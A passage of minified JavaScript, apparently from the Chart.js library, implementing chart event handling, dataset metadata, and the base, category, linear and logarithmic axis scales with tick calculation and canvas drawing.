i?i(this,t,n):[]},getDatasetAtEvent:function(t){return ee.modes.dataset(this,t,{intersect:!0})},getDatasetMeta:function(t){var e=this.data.datasets[t];e._meta||(e._meta={});var n=e._meta[this.id];return n||(n=e._meta[this.id]={type:null,data:[],dataset:null,controller:null,hidden:null,xAxisID:null,yAxisID:null,order:e.order||0,index:t}),n},getVisibleDatasetCount:function(){for(var t=0,e=0,n=this.data.datasets.length;e<n;++e)this.isDatasetVisible(e)&&t++;return t},isDatasetVisible:function(t){var e=this.getDatasetMeta(t);return"boolean"==typeof e.hidden?!e.hidden:!this.data.datasets[t].hidden},generateLegend:function(){return this.options.legendCallback(this)},destroyDatasetMeta:function(t){var e=this.id,n=this.data.datasets[t],i=n._meta&&n._meta[e];i&&(i.controller.destroy(),delete n._meta[e])},destroy:function(){var t,e,n=this,i=n.canvas;for(n.stop(),t=0,e=n.data.datasets.length;t<e;++t)n.destroyDatasetMeta(t);i&&(n.unbindEvents(),H.canvas.clear(n),Ce.releaseContext(n.ctx),n.canvas=null,n.ctx=null),Pe.notify(n,"destroy"),delete Ge.instances[n.id]},toBase64Image:function(){return this.canvas.toDataURL.apply(this.canvas,arguments)},initToolTip:function(){var t=this;t.tooltip=new Ee({_chart:t,_chartInstance:t,_data:t.data,_options:t.options.tooltips},t)},bindEvents:function(){var t=this,e=t._listeners={},n=function(){t.eventHandler.apply(t,arguments)};H.each(t.options.events,(function(i){Ce.addEventListener(t,i,n),e[i]=n})),t.options.responsive&&(n=function(){t.resize()},Ce.addEventListener(t,"resize",n),e.resize=n)},unbindEvents:function(){var t=this,e=t._listeners;e&&(delete t._listeners,H.each(e,(function(e,n){Ce.removeEventListener(t,n,e)})))},updateHoverStyle:function(t,e,n){var i,a,r,o=n?"set":"remove";for(a=0,r=t.length;a<r;++a)(i=t[a])&&this.getDatasetMeta(i._datasetIndex).controller[o+"HoverStyle"](i);"dataset"===e&&this.getDatasetMeta(t[0]._datasetIndex).controller["_"+o+"DatasetHoverStyle"]()},eventHandler:function(t){var e=this,n=e.tooltip;if(!1!==Pe.notify(e,"beforeEvent",[t])){e._bufferedRender=!0,e._bufferedRequest=null;var i=e.handleEvent(t);n&&(i=n._start?n.handleEvent(t):i|n.handleEvent(t)),Pe.notify(e,"afterEvent",[t]);var a=e._bufferedRequest;return a?e.render(a):i&&!e.animating&&(e.stop(),e.render({duration:e.options.hover.animationDuration,lazy:!0})),e._bufferedRender=!1,e._bufferedRequest=null,e}},handleEvent:function(t){var e,n=this,i=n.options||{},a=i.hover;return n.lastActive=n.lastActive||[],"mouseout"===t.type?n.active=[]:n.active=n.getElementsAtEventForMode(t,a.mode,a),H.callback(i.onHover||i.hover.onHover,[t.native,n.active],n),"mouseup"!==t.type&&"click"!==t.type||i.onClick&&i.onClick.call(n,t.native,n.active),n.lastActive.length&&n.updateHoverStyle(n.lastActive,a.mode,!1),n.active.length&&a.mode&&n.updateHoverStyle(n.active,a.mode,!0),e=!H.arrayEquals(n.active,n.lastActive),n.lastActive=n.active,e}}),Ge.instances={};var Xe=Ge;function Ke(){throw new Error("This method is not implemented: either no adapter can be found or an incomplete integration was provided.")}function Ze(t){this.options=t||{}}Ge.Controller=Ge,Ge.types={},H.configMerge=He,H.scaleMerge=Ve,H.extend(Ze.prototype,{formats:Ke,parse:Ke,format:Ke,add:Ke,diff:Ke,startOf:Ke,endOf:Ke,_create:function(t){return t}}),Ze.override=function(t){H.extend(Ze.prototype,t)};var $e={_date:Ze},Je={formatters:{values:function(t){return H.isArray(t)?t:""+t},linear:function(t,e,n){var i=n.length>3?n[2]-n[1]:n[1]-n[0];Math.abs(i)>1&&t!==Math.floor(t)&&(i=t-Math.floor(t));var a=H.log10(Math.abs(i)),r="";if(0!==t)if(Math.max(Math.abs(n[0]),Math.abs(n[n.length-1]))<1e-4){var o=H.log10(Math.abs(t)),s=Math.floor(o)-Math.floor(a);s=Math.max(Math.min(s,20),0),r=t.toExponential(s)}else{var l=-1*Math.floor(a);l=Math.max(Math.min(l,20),0),r=t.toFixed(l)}else r="0";return r},logarithmic:function(t,e,n){var i=t/Math.pow(10,Math.floor(H.log10(t)));return 0===t?"0":1===i||2===i||5===i||0===e||e===n.length-1?t.toExponential():""}}},Qe=H.isArray,tn=H.isNullOrUndef,en=H.valueOrDefault,nn=H.valueAtIndexOrDefault;function an(t,e,n){var i,a=t.getTicks().length,r=Math.min(e,a-1),o=t.getPixelForTick(r),s=t._startPixel,l=t._endPixel;if(!(n&&(i=1===a?Math.max(o-s,l-o):0===e?(t.getPixelForTick(1)-o)/2:(o-t.getPixelForTick(r-1))/2,(o+=r<e?i:-i)<s-1e-6||o>l+1e-6)))return o}function rn(t){return t.drawTicks?t.tickMarkLength:0}function on(t){var e,n;return t.display?(e=H.options._parseFont(t),n=H.options.toPadding(t.padding),e.lineHeight+n.height):0}function sn(t,e){return H.extend(H.options._parseFont({fontFamily:en(e.fontFamily,t.fontFamily),fontSize:en(e.fontSize,t.fontSize),fontStyle:en(e.fontStyle,t.fontStyle),lineHeight:en(e.lineHeight,t.lineHeight)}),{color:H.options.resolve([e.fontColor,t.fontColor,N.global.defaultFontColor])})}function ln(t){var e=sn(t,t.minor);return{minor:e,major:t.major.enabled?sn(t,t.major):e}}function un(t){var e,n,i,a=[];for(n=0,i=t.length;n<i;++n)void 0!==(e=t[n])._index&&a.push(e);return a}function dn(t,e,n,i){var a,r,o,s,l=en(n,0),u=Math.min(en(i,t.length),t.length),d=0;for(e=Math.ceil(e),i&&(e=(a=i-n)/Math.floor(a/e)),s=l;s<0;)d++,s=Math.round(l+d*e);for(r=Math.max(l,0);r<u;r++)o=t[r],r===s?(o._index=r,d++,s=Math.round(l+d*e)):delete o.label}N._set("scale",{display:!0,position:"left",offset:!1,gridLines:{display:!0,color:"rgba(0,0,0,0.1)",lineWidth:1,drawBorder:!0,drawOnChartArea:!0,drawTicks:!0,tickMarkLength:10,zeroLineWidth:1,zeroLineColor:"rgba(0,0,0,0.25)",zeroLineBorderDash:[],zeroLineBorderDashOffset:0,offsetGridLines:!1,borderDash:[],borderDashOffset:0},scaleLabel:{display:!1,labelString:"",padding:{top:4,bottom:4}},ticks:{beginAtZero:!1,minRotation:0,maxRotation:50,mirror:!1,padding:0,reverse:!1,display:!0,autoSkip:!0,autoSkipPadding:0,labelOffset:0,callback:Je.formatters.values,minor:{},major:{}}});var hn=X.extend({zeroLineIndex:0,getPadding:function(){return{left:this.paddingLeft||0,top:this.paddingTop||0,right:this.paddingRight||0,bottom:this.paddingBottom||0}},getTicks:function(){return this._ticks},_getLabels:function(){var t=this.chart.data;return this.options.labels||(this.isHorizontal()?t.xLabels:t.yLabels)||t.labels||[]},mergeTicksOptions:function(){},beforeUpdate:function(){H.callback(this.options.beforeUpdate,[this])},update:function(t,e,n){var i,a,r,o,s,l=this,u=l.options.ticks,d=u.sampleSize;if(l.beforeUpdate(),l.maxWidth=t,l.maxHeight=e,l.margins=H.extend({left:0,right:0,top:0,bottom:0},n),l._ticks=null,l.ticks=null,l._labelSizes=null,l._maxLabelLines=0,l.longestLabelWidth=0,l.longestTextCache=l.longestTextCache||{},l._gridLineItems=null,l._labelItems=null,l.beforeSetDimensions(),l.setDimensions(),l.afterSetDimensions(),l.beforeDataLimits(),l.determineDataLimits(),l.afterDataLimits(),l.beforeBuildTicks(),o=l.buildTicks()||[],(!(o=l.afterBuildTicks(o)||o)||!o.length)&&l.ticks)for(o=[],i=0,a=l.ticks.length;i<a;++i)o.push({value:l.ticks[i],major:!1});return l._ticks=o,s=d<o.length,r=l._convertTicksToLabels(s?function(t,e){for(var n=[],i=t.length/e,a=0,r=t.length;a<r;a+=i)n.push(t[Math.floor(a)]);return n}(o,d):o),l._configure(),l.beforeCalculateTickRotation(),l.calculateTickRotation(),l.afterCalculateTickRotation(),l.beforeFit(),l.fit(),l.afterFit(),l._ticksToDraw=u.display&&(u.autoSkip||"auto"===u.source)?l._autoSkip(o):o,s&&(r=l._convertTicksToLabels(l._ticksToDraw)),l.ticks=r,l.afterUpdate(),l.minSize},_configure:function(){var t,e,n=this,i=n.options.ticks.reverse;n.isHorizontal()?(t=n.left,e=n.right):(t=n.top,e=n.bottom,i=!i),n._startPixel=t,n._endPixel=e,n._reversePixels=i,n._length=e-t},afterUpdate:function(){H.callback(this.options.afterUpdate,[this])},beforeSetDimensions:function(){H.callback(this.options.beforeSetDimensions,[this])},setDimensions:function(){var t=this;t.isHorizontal()?(t.width=t.maxWidth,t.left=0,t.right=t.width):(t.height=t.maxHeight,t.top=0,t.bottom=t.height),t.paddingLeft=0,t.paddingTop=0,t.paddingRight=0,t.paddingBottom=0},afterSetDimensions:function(){H.callback(this.options.afterSetDimensions,[this])},beforeDataLimits:function(){H.callback(this.options.beforeDataLimits,[this])},determineDataLimits:H.noop,afterDataLimits:function(){H.callback(this.options.afterDataLimits,[this])},beforeBuildTicks:function(){H.callback(this.options.beforeBuildTicks,[this])},buildTicks:H.noop,afterBuildTicks:function(t){var e=this;return Qe(t)&&t.length?H.callback(e.options.afterBuildTicks,[e,t]):(e.ticks=H.callback(e.options.afterBuildTicks,[e,e.ticks])||e.ticks,t)},beforeTickToLabelConversion:function(){H.callback(this.options.beforeTickToLabelConversion,[this])},convertTicksToLabels:function(){var t=this.options.ticks;this.ticks=this.ticks.map(t.userCallback||t.callback,this)},afterTickToLabelConversion:function(){H.callback(this.options.afterTickToLabelConversion,[this])},beforeCalculateTickRotation:function(){H.callback(this.options.beforeCalculateTickRotation,[this])},calculateTickRotation:function(){var t,e,n,i,a,r,o,s=this,l=s.options,u=l.ticks,d=s.getTicks().length,h=u.minRotation||0,c=u.maxRotation,f=h;!s._isVisible()||!u.display||h>=c||d<=1||!s.isHorizontal()?s.labelRotation=h:(e=(t=s._getLabelSizes()).widest.width,n=t.highest.height-t.highest.offset,i=Math.min(s.maxWidth,s.chart.width-e),e+6>(a=l.offset?s.maxWidth/d:i/(d-1))&&(a=i/(d-(l.offset?.5:1)),r=s.maxHeight-rn(l.gridLines)-u.padding-on(l.scaleLabel),o=Math.sqrt(e*e+n*n),f=H.toDegrees(Math.min(Math.asin(Math.min((t.highest.height+6)/a,1)),Math.asin(Math.min(r/o,1))-Math.asin(n/o))),f=Math.max(h,Math.min(c,f))),s.labelRotation=f)},afterCalculateTickRotation:function(){H.callback(this.options.afterCalculateTickRotation,[this])},beforeFit:function(){H.callback(this.options.beforeFit,[this])},fit:function(){var t=this,e=t.minSize={width:0,height:0},n=t.chart,i=t.options,a=i.ticks,r=i.scaleLabel,o=i.gridLines,s=t._isVisible(),l="bottom"===i.position,u=t.isHorizontal();if(u?e.width=t.maxWidth:s&&(e.width=rn(o)+on(r)),u?s&&(e.height=rn(o)+on(r)):e.height=t.maxHeight,a.display&&s){var d=ln(a),h=t._getLabelSizes(),c=h.first,f=h.last,g=h.widest,p=h.highest,m=.4*d.minor.lineHeight,v=a.padding;if(u){var b=0!==t.labelRotation,x=H.toRadians(t.labelRotation),y=Math.cos(x),_=Math.sin(x),k=_*g.width+y*(p.height-(b?p.offset:0))+(b?0:m);e.height=Math.min(t.maxHeight,e.height+k+v);var w,M,S=t.getPixelForTick(0)-t.left,C=t.right-t.getPixelForTick(t.getTicks().length-1);b?(w=l?y*c.width+_*c.offset:_*(c.height-c.offset),M=l?_*(f.height-f.offset):y*f.width+_*f.offset):(w=c.width/2,M=f.width/2),t.paddingLeft=Math.max((w-S)*t.width/(t.width-S),0)+3,t.paddingRight=Math.max((M-C)*t.width/(t.width-C),0)+3}else{var P=a.mirror?0:g.width+v+m;e.width=Math.min(t.maxWidth,e.width+P),t.paddingTop=c.height/2,t.paddingBottom=f.height/2}}t.handleMargins(),u?(t.width=t._length=n.width-t.margins.left-t.margins.right,t.height=e.height):(t.width=e.width,t.height=t._length=n.height-t.margins.top-t.margins.bottom)},handleMargins:function(){var t=this;t.margins&&(t.margins.left=Math.max(t.paddingLeft,t.margins.left),t.margins.top=Math.max(t.paddingTop,t.margins.top),t.margins.right=Math.max(t.paddingRight,t.margins.right),t.margins.bottom=Math.max(t.paddingBottom,t.margins.bottom))},afterFit:function(){H.callback(this.options.afterFit,[this])},isHorizontal:function(){var t=this.options.position;return"top"===t||"bottom"===t},isFullWidth:function(){return this.options.fullWidth},getRightValue:function(t){if(tn(t))return NaN;if(("number"==typeof t||t instanceof Number)&&!isFinite(t))return NaN;if(t)if(this.isHorizontal()){if(void 0!==t.x)return this.getRightValue(t.x)}else if(void 0!==t.y)return this.getRightValue(t.y);return t},_convertTicksToLabels:function(t){var e,n,i,a=this;for(a.ticks=t.map((function(t){return t.value})),a.beforeTickToLabelConversion(),e=a.convertTicksToLabels(t)||a.ticks,a.afterTickToLabelConversion(),n=0,i=t.length;n<i;++n)t[n].label=e[n];return e},_getLabelSizes:function(){var t=this,e=t._labelSizes;return e||(t._labelSizes=e=function(t,e,n,i){var a,r,o,s,l,u,d,h,c,f,g,p,m,v=n.length,b=[],x=[],y=[],_=0,k=0;for(a=0;a<v;++a){if(s=n[a].label,l=n[a].major?e.major:e.minor,t.font=u=l.string,d=i[u]=i[u]||{data:{},gc:[]},h=l.lineHeight,c=f=0,tn(s)||Qe(s)){if(Qe(s))for(r=0,o=s.length;r<o;++r)g=s[r],tn(g)||Qe(g)||(c=H.measureText(t,d.data,d.gc,c,g),f+=h)}else c=H.measureText(t,d.data,d.gc,c,s),f=h;b.push(c),x.push(f),y.push(h/2),_=Math.max(c,_),k=Math.max(f,k)}function w(t){return{width:b[t]||0,height:x[t]||0,offset:y[t]||0}}return function(t,e){H.each(t,(function(t){var n,i=t.gc,a=i.length/2;if(a>e){for(n=0;n<a;++n)delete t.data[i[n]];i.splice(0,a)}}))}(i,v),p=b.indexOf(_),m=x.indexOf(k),{first:w(0),last:w(v-1),widest:w(p),highest:w(m)}}(t.ctx,ln(t.options.ticks),t.getTicks(),t.longestTextCache),t.longestLabelWidth=e.widest.width),e},_parseValue:function(t){var e,n,i,a;return Qe(t)?(e=+this.getRightValue(t[0]),n=+this.getRightValue(t[1]),i=Math.min(e,n),a=Math.max(e,n)):(e=void 0,n=t=+this.getRightValue(t),i=t,a=t),{min:i,max:a,start:e,end:n}},_getScaleLabel:function(t){var e=this._parseValue(t);return void 0!==e.start?"["+e.start+", "+e.end+"]":+this.getRightValue(t)},getLabelForIndex:H.noop,getPixelForValue:H.noop,getValueForPixel:H.noop,getPixelForTick:function(t){var e=this.options.offset,n=this._ticks.length,i=1/Math.max(n-(e?0:1),1);return t<0||t>n-1?null:this.getPixelForDecimal(t*i+(e?i/2:0))},getPixelForDecimal:function(t){return this._reversePixels&&(t=1-t),this._startPixel+t*this._length},getDecimalForPixel:function(t){var e=(t-this._startPixel)/this._length;return this._reversePixels?1-e:e},getBasePixel:function(){return this.getPixelForValue(this.getBaseValue())},getBaseValue:function(){var t=this.min,e=this.max;return this.beginAtZero?0:t<0&&e<0?e:t>0&&e>0?t:0},_autoSkip:function(t){var e,n,i,a,r=this.options.ticks,o=this._length,s=r.maxTicksLimit||o/this._tickSize()+1,l=r.major.enabled?function(t){var e,n,i=[];for(e=0,n=t.length;e<n;e++)t[e].major&&i.push(e);return i}(t):[],u=l.length,d=l[0],h=l[u-1];if(u>s)return function(t,e,n){var i,a,r=0,o=e[0];for(n=Math.ceil(n),i=0;i<t.length;i++)a=t[i],i===o?(a._index=i,o=e[++r*n]):delete a.label}(t,l,u/s),un(t);if(i=function(t,e,n,i){var a,r,o,s,l=function(t){var e,n,i=t.length;if(i<2)return!1;for(n=t[0],e=1;e<i;++e)if(t[e]-t[e-1]!==n)return!1;return n}(t),u=(e.length-1)/i;if(!l)return Math.max(u,1);for(o=0,s=(a=H.math._factorize(l)).length-1;o<s;o++)if((r=a[o])>u)return r;return Math.max(u,1)}(l,t,0,s),u>0){for(e=0,n=u-1;e<n;e++)dn(t,i,l[e],l[e+1]);return a=u>1?(h-d)/(u-1):null,dn(t,i,H.isNullOrUndef(a)?0:d-a,d),dn(t,i,h,H.isNullOrUndef(a)?t.length:h+a),un(t)}return dn(t,i),un(t)},_tickSize:function(){var t=this.options.ticks,e=H.toRadians(this.labelRotation),n=Math.abs(Math.cos(e)),i=Math.abs(Math.sin(e)),a=this._getLabelSizes(),r=t.autoSkipPadding||0,o=a?a.widest.width+r:0,s=a?a.highest.height+r:0;return this.isHorizontal()?s*n>o*i?o/n:s/i:s*i<o*n?s/n:o/i},_isVisible:function(){var t,e,n,i=this.chart,a=this.options.display;if("auto"!==a)return!!a;for(t=0,e=i.data.datasets.length;t<e;++t)if(i.isDatasetVisible(t)&&((n=i.getDatasetMeta(t)).xAxisID===this.id||n.yAxisID===this.id))return!0;return!1},_computeGridLineItems:function(t){var e,n,i,a,r,o,s,l,u,d,h,c,f,g,p,m,v,b=this,x=b.chart,y=b.options,_=y.gridLines,k=y.position,w=_.offsetGridLines,M=b.isHorizontal(),S=b._ticksToDraw,C=S.length+(w?1:0),P=rn(_),A=[],D=_.drawBorder?nn(_.lineWidth,0,0):0,T=D/2,I=H._alignPixel,F=function(t){return I(x,t,D)};for("top"===k?(e=F(b.bottom),s=b.bottom-P,u=e-T,h=F(t.top)+T,f=t.bottom):"bottom"===k?(e=F(b.top),h=t.top,f=F(t.bottom)-T,s=e+T,u=b.top+P):"left"===k?(e=F(b.right),o=b.right-P,l=e-T,d=F(t.left)+T,c=t.right):(e=F(b.left),d=t.left,c=F(t.right)-T,o=e+T,l=b.left+P),n=0;n<C;++n)i=S[n]||{},tn(i.label)&&n<S.length||(n===b.zeroLineIndex&&y.offset===w?(g=_.zeroLineWidth,p=_.zeroLineColor,m=_.zeroLineBorderDash||[],v=_.zeroLineBorderDashOffset||0):(g=nn(_.lineWidth,n,1),p=nn(_.color,n,"rgba(0,0,0,0.1)"),m=_.borderDash||[],v=_.borderDashOffset||0),void 0!==(a=an(b,i._index||n,w))&&(r=I(x,a,g),M?o=l=d=c=r:s=u=h=f=r,A.push({tx1:o,ty1:s,tx2:l,ty2:u,x1:d,y1:h,x2:c,y2:f,width:g,color:p,borderDash:m,borderDashOffset:v})));return A.ticksLength=C,A.borderValue=e,A},_computeLabelItems:function(){var t,e,n,i,a,r,o,s,l,u,d,h,c=this,f=c.options,g=f.ticks,p=f.position,m=g.mirror,v=c.isHorizontal(),b=c._ticksToDraw,x=ln(g),y=g.padding,_=rn(f.gridLines),k=-H.toRadians(c.labelRotation),w=[];for("top"===p?(r=c.bottom-_-y,o=k?"left":"center"):"bottom"===p?(r=c.top+_+y,o=k?"right":"center"):"left"===p?(a=c.right-(m?0:_)-y,o=m?"left":"right"):(a=c.left+(m?0:_)+y,o=m?"right":"left"),t=0,e=b.length;t<e;++t)i=(n=b[t]).label,tn(i)||(s=c.getPixelForTick(n._index||t)+g.labelOffset,u=(l=n.major?x.major:x.minor).lineHeight,d=Qe(i)?i.length:1,v?(a=s,h="top"===p?((k?1:.5)-d)*u:(k?0:.5)*u):(r=s,h=(1-d)*u/2),w.push({x:a,y:r,rotation:k,label:i,font:l,textOffset:h,textAlign:o}));return w},_drawGrid:function(t){var e=this,n=e.options.gridLines;if(n.display){var i,a,r,o,s,l=e.ctx,u=e.chart,d=H._alignPixel,h=n.drawBorder?nn(n.lineWidth,0,0):0,c=e._gridLineItems||(e._gridLineItems=e._computeGridLineItems(t));for(r=0,o=c.length;r<o;++r)i=(s=c[r]).width,a=s.color,i&&a&&(l.save(),l.lineWidth=i,l.strokeStyle=a,l.setLineDash&&(l.setLineDash(s.borderDash),l.lineDashOffset=s.borderDashOffset),l.beginPath(),n.drawTicks&&(l.moveTo(s.tx1,s.ty1),l.lineTo(s.tx2,s.ty2)),n.drawOnChartArea&&(l.moveTo(s.x1,s.y1),l.lineTo(s.x2,s.y2)),l.stroke(),l.restore());if(h){var f,g,p,m,v=h,b=nn(n.lineWidth,c.ticksLength-1,1),x=c.borderValue;e.isHorizontal()?(f=d(u,e.left,v)-v/2,g=d(u,e.right,b)+b/2,p=m=x):(p=d(u,e.top,v)-v/2,m=d(u,e.bottom,b)+b/2,f=g=x),l.lineWidth=h,l.strokeStyle=nn(n.color,0),l.beginPath(),l.moveTo(f,p),l.lineTo(g,m),l.stroke()}}},_drawLabels:function(){var t=this;if(t.options.ticks.display){var e,n,i,a,r,o,s,l,u=t.ctx,d=t._labelItems||(t._labelItems=t._computeLabelItems());for(e=0,i=d.length;e<i;++e){if(o=(r=d[e]).font,u.save(),u.translate(r.x,r.y),u.rotate(r.rotation),u.font=o.string,u.fillStyle=o.color,u.textBaseline="middle",u.textAlign=r.textAlign,s=r.label,l=r.textOffset,Qe(s))for(n=0,a=s.length;n<a;++n)u.fillText(""+s[n],0,l),l+=o.lineHeight;else u.fillText(s,0,l);u.restore()}}},_drawTitle:function(){var t=this,e=t.ctx,n=t.options,i=n.scaleLabel;if(i.display){var a,r,o=en(i.fontColor,N.global.defaultFontColor),s=H.options._parseFont(i),l=H.options.toPadding(i.padding),u=s.lineHeight/2,d=n.position,h=0;if(t.isHorizontal())a=t.left+t.width/2,r="bottom"===d?t.bottom-u-l.bottom:t.top+u+l.top;else{var c="left"===d;a=c?t.left+u+l.top:t.right-u-l.top,r=t.top+t.height/2,h=c?-.5*Math.PI:.5*Math.PI}e.save(),e.translate(a,r),e.rotate(h),e.textAlign="center",e.textBaseline="middle",e.fillStyle=o,e.font=s.string,e.fillText(i.labelString,0,0),e.restore()}},draw:function(t){this._isVisible()&&(this._drawGrid(t),this._drawTitle(),this._drawLabels())},_layers:function(){var t=this,e=t.options,n=e.ticks&&e.ticks.z||0,i=e.gridLines&&e.gridLines.z||0;return t._isVisible()&&n!==i&&t.draw===t._draw?[{z:i,draw:function(){t._drawGrid.apply(t,arguments),t._drawTitle.apply(t,arguments)}},{z:n,draw:function(){t._drawLabels.apply(t,arguments)}}]:[{z:n,draw:function(){t.draw.apply(t,arguments)}}]},_getMatchingVisibleMetas:function(t){var e=this,n=e.isHorizontal();return e.chart._getSortedVisibleDatasetMetas().filter((function(i){return(!t||i.type===t)&&(n?i.xAxisID===e.id:i.yAxisID===e.id)}))}});hn.prototype._draw=hn.prototype.draw;var cn=hn,fn=H.isNullOrUndef,gn=cn.extend({determineDataLimits:function(){var t,e=this,n=e._getLabels(),i=e.options.ticks,a=i.min,r=i.max,o=0,s=n.length-1;void 0!==a&&(t=n.indexOf(a))>=0&&(o=t),void 0!==r&&(t=n.indexOf(r))>=0&&(s=t),e.minIndex=o,e.maxIndex=s,e.min=n[o],e.max=n[s]},buildTicks:function(){var t=this._getLabels(),e=this.minIndex,n=this.maxIndex;this.ticks=0===e&&n===t.length-1?t:t.slice(e,n+1)},getLabelForIndex:function(t,e){var n=this.chart;return n.getDatasetMeta(e).controller._getValueScaleId()===this.id?this.getRightValue(n.data.datasets[e].data[t]):this._getLabels()[t]},_configure:function(){var t=this,e=t.options.offset,n=t.ticks;cn.prototype._configure.call(t),t.isHorizontal()||(t._reversePixels=!t._reversePixels),n&&(t._startValue=t.minIndex-(e?.5:0),t._valueRange=Math.max(n.length-(e?0:1),1))},getPixelForValue:function(t,e,n){var i,a,r,o=this;return fn(e)||fn(n)||(t=o.chart.data.datasets[n].data[e]),fn(t)||(i=o.isHorizontal()?t.x:t.y),(void 0!==i||void 0!==t&&isNaN(e))&&(a=o._getLabels(),t=H.valueOrDefault(i,t),e=-1!==(r=a.indexOf(t))?r:e,isNaN(e)&&(e=t)),o.getPixelForDecimal((e-o._startValue)/o._valueRange)},getPixelForTick:function(t){var e=this.ticks;return t<0||t>e.length-1?null:this.getPixelForValue(e[t],t+this.minIndex)},getValueForPixel:function(t){var e=Math.round(this._startValue+this.getDecimalForPixel(t)*this._valueRange);return Math.min(Math.max(e,0),this.ticks.length-1)},getBasePixel:function(){return this.bottom}});gn._defaults={position:"bottom"};var pn=H.noop,mn=H.isNullOrUndef,vn=cn.extend({getRightValue:function(t){return"string"==typeof t?+t:cn.prototype.getRightValue.call(this,t)},handleTickRangeOptions:function(){var t=this,e=t.options.ticks;if(e.beginAtZero){var n=H.sign(t.min),i=H.sign(t.max);n<0&&i<0?t.max=0:n>0&&i>0&&(t.min=0)}var a=void 0!==e.min||void 0!==e.suggestedMin,r=void 0!==e.max||void 0!==e.suggestedMax;void 0!==e.min?t.min=e.min:void 0!==e.suggestedMin&&(null===t.min?t.min=e.suggestedMin:t.min=Math.min(t.min,e.suggestedMin)),void 0!==e.max?t.max=e.max:void 0!==e.suggestedMax&&(null===t.max?t.max=e.suggestedMax:t.max=Math.max(t.max,e.suggestedMax)),a!==r&&t.min>=t.max&&(a?t.max=t.min+1:t.min=t.max-1),t.min===t.max&&(t.max++,e.beginAtZero||t.min--)},getTickLimit:function(){var t,e=this.options.ticks,n=e.stepSize,i=e.maxTicksLimit;return n?t=Math.ceil(this.max/n)-Math.floor(this.min/n)+1:(t=this._computeTickLimit(),i=i||11),i&&(t=Math.min(i,t)),t},_computeTickLimit:function(){return Number.POSITIVE_INFINITY},handleDirectionalChanges:pn,buildTicks:function(){var t=this,e=t.options.ticks,n=t.getTickLimit(),i={maxTicks:n=Math.max(2,n),min:e.min,max:e.max,precision:e.precision,stepSize:H.valueOrDefault(e.fixedStepSize,e.stepSize)},a=t.ticks=function(t,e){var n,i,a,r,o=[],s=t.stepSize,l=s||1,u=t.maxTicks-1,d=t.min,h=t.max,c=t.precision,f=e.min,g=e.max,p=H.niceNum((g-f)/u/l)*l;if(p<1e-14&&mn(d)&&mn(h))return[f,g];(r=Math.ceil(g/p)-Math.floor(f/p))>u&&(p=H.niceNum(r*p/u/l)*l),s||mn(c)?n=Math.pow(10,H._decimalPlaces(p)):(n=Math.pow(10,c),p=Math.ceil(p*n)/n),i=Math.floor(f/p)*p,a=Math.ceil(g/p)*p,s&&(!mn(d)&&H.almostWhole(d/p,p/1e3)&&(i=d),!mn(h)&&H.almostWhole(h/p,p/1e3)&&(a=h)),r=(a-i)/p,r=H.almostEquals(r,Math.round(r),p/1e3)?Math.round(r):Math.ceil(r),i=Math.round(i*n)/n,a=Math.round(a*n)/n,o.push(mn(d)?i:d);for(var m=1;m<r;++m)o.push(Math.round((i+m*p)*n)/n);return o.push(mn(h)?a:h),o}(i,t);t.handleDirectionalChanges(),t.max=H.max(a),t.min=H.min(a),e.reverse?(a.reverse(),t.start=t.max,t.end=t.min):(t.start=t.min,t.end=t.max)},convertTicksToLabels:function(){var t=this;t.ticksAsNumbers=t.ticks.slice(),t.zeroLineIndex=t.ticks.indexOf(0),cn.prototype.convertTicksToLabels.call(t)},_configure:function(){var t,e=this,n=e.getTicks(),i=e.min,a=e.max;cn.prototype._configure.call(e),e.options.offset&&n.length&&(i-=t=(a-i)/Math.max(n.length-1,1)/2,a+=t),e._startValue=i,e._endValue=a,e._valueRange=a-i}}),bn={position:"left",ticks:{callback:Je.formatters.linear}};function xn(t,e,n,i){var a,r,o=t.options,s=function(t,e,n){var i=[n.type,void 0===e&&void 0===n.stack?n.index:"",n.stack].join(".");return void 0===t[i]&&(t[i]={pos:[],neg:[]}),t[i]}(e,o.stacked,n),l=s.pos,u=s.neg,d=i.length;for(a=0;a<d;++a)r=t._parseValue(i[a]),isNaN(r.min)||isNaN(r.max)||n.data[a].hidden||(l[a]=l[a]||0,u[a]=u[a]||0,o.relativePoints?l[a]=100:r.min<0||r.max<0?u[a]+=r.min:l[a]+=r.max)}function yn(t,e,n){var i,a,r=n.length;for(i=0;i<r;++i)a=t._parseValue(n[i]),isNaN(a.min)||isNaN(a.max)||e.data[i].hidden||(t.min=Math.min(t.min,a.min),t.max=Math.max(t.max,a.max))}var _n=vn.extend({determineDataLimits:function(){var t,e,n,i,a=this,r=a.options,o=a.chart.data.datasets,s=a._getMatchingVisibleMetas(),l=r.stacked,u={},d=s.length;if(a.min=Number.POSITIVE_INFINITY,a.max=Number.NEGATIVE_INFINITY,void 0===l)for(t=0;!l&&t<d;++t)l=void 0!==(e=s[t]).stack;for(t=0;t<d;++t)n=o[(e=s[t]).index].data,l?xn(a,u,e,n):yn(a,e,n);H.each(u,(function(t){i=t.pos.concat(t.neg),a.min=Math.min(a.min,H.min(i)),a.max=Math.max(a.max,H.max(i))})),a.min=H.isFinite(a.min)&&!isNaN(a.min)?a.min:0,a.max=H.isFinite(a.max)&&!isNaN(a.max)?a.max:1,a.handleTickRangeOptions()},_computeTickLimit:function(){var t;return this.isHorizontal()?Math.ceil(this.width/40):(t=H.options._parseFont(this.options.ticks),Math.ceil(this.height/t.lineHeight))},handleDirectionalChanges:function(){this.isHorizontal()||this.ticks.reverse()},getLabelForIndex:function(t,e){return this._getScaleLabel(this.chart.data.datasets[e].data[t])},getPixelForValue:function(t){return this.getPixelForDecimal((+this.getRightValue(t)-this._startValue)/this._valueRange)},getValueForPixel:function(t){return this._startValue+this.getDecimalForPixel(t)*this._valueRange},getPixelForTick:function(t){var e=this.ticksAsNumbers;return t<0||t>e.length-1?null:this.getPixelForValue(e[t])}}),kn=bn;_n._defaults=kn;var wn=H.valueOrDefault,Mn=H.math.log10,Sn={position:"left",ticks:{callback:Je.formatters.logarithmic}};function Cn(t,e){return H.isFinite(t)&&t>=0?t:e}var Pn=cn.extend({determineDataLimits:function(){var t,e,n,i,a,r,o=this,s=o.options,l=o.chart,u=l.data.datasets,d=o.isHorizontal();function h(t){return d?t.xAxisID===o.id:t.yAxisID===o.id}o.min=Number.POSITIVE_INFINITY,o.max=Number.NEGATIVE_INFINITY,o.minNotZero=Number.POSITIVE_INFINITY;var c=s.stacked;if(void 0===c)for(t=0;t<u.length;t++)if(e=l.getDatasetMeta(t),l.isDatasetVisible(t)&&h(e)&&void 0!==e.stack){c=!0;break}if(s.stacked||c){var f={};for(t=0;t<u.length;t++){var 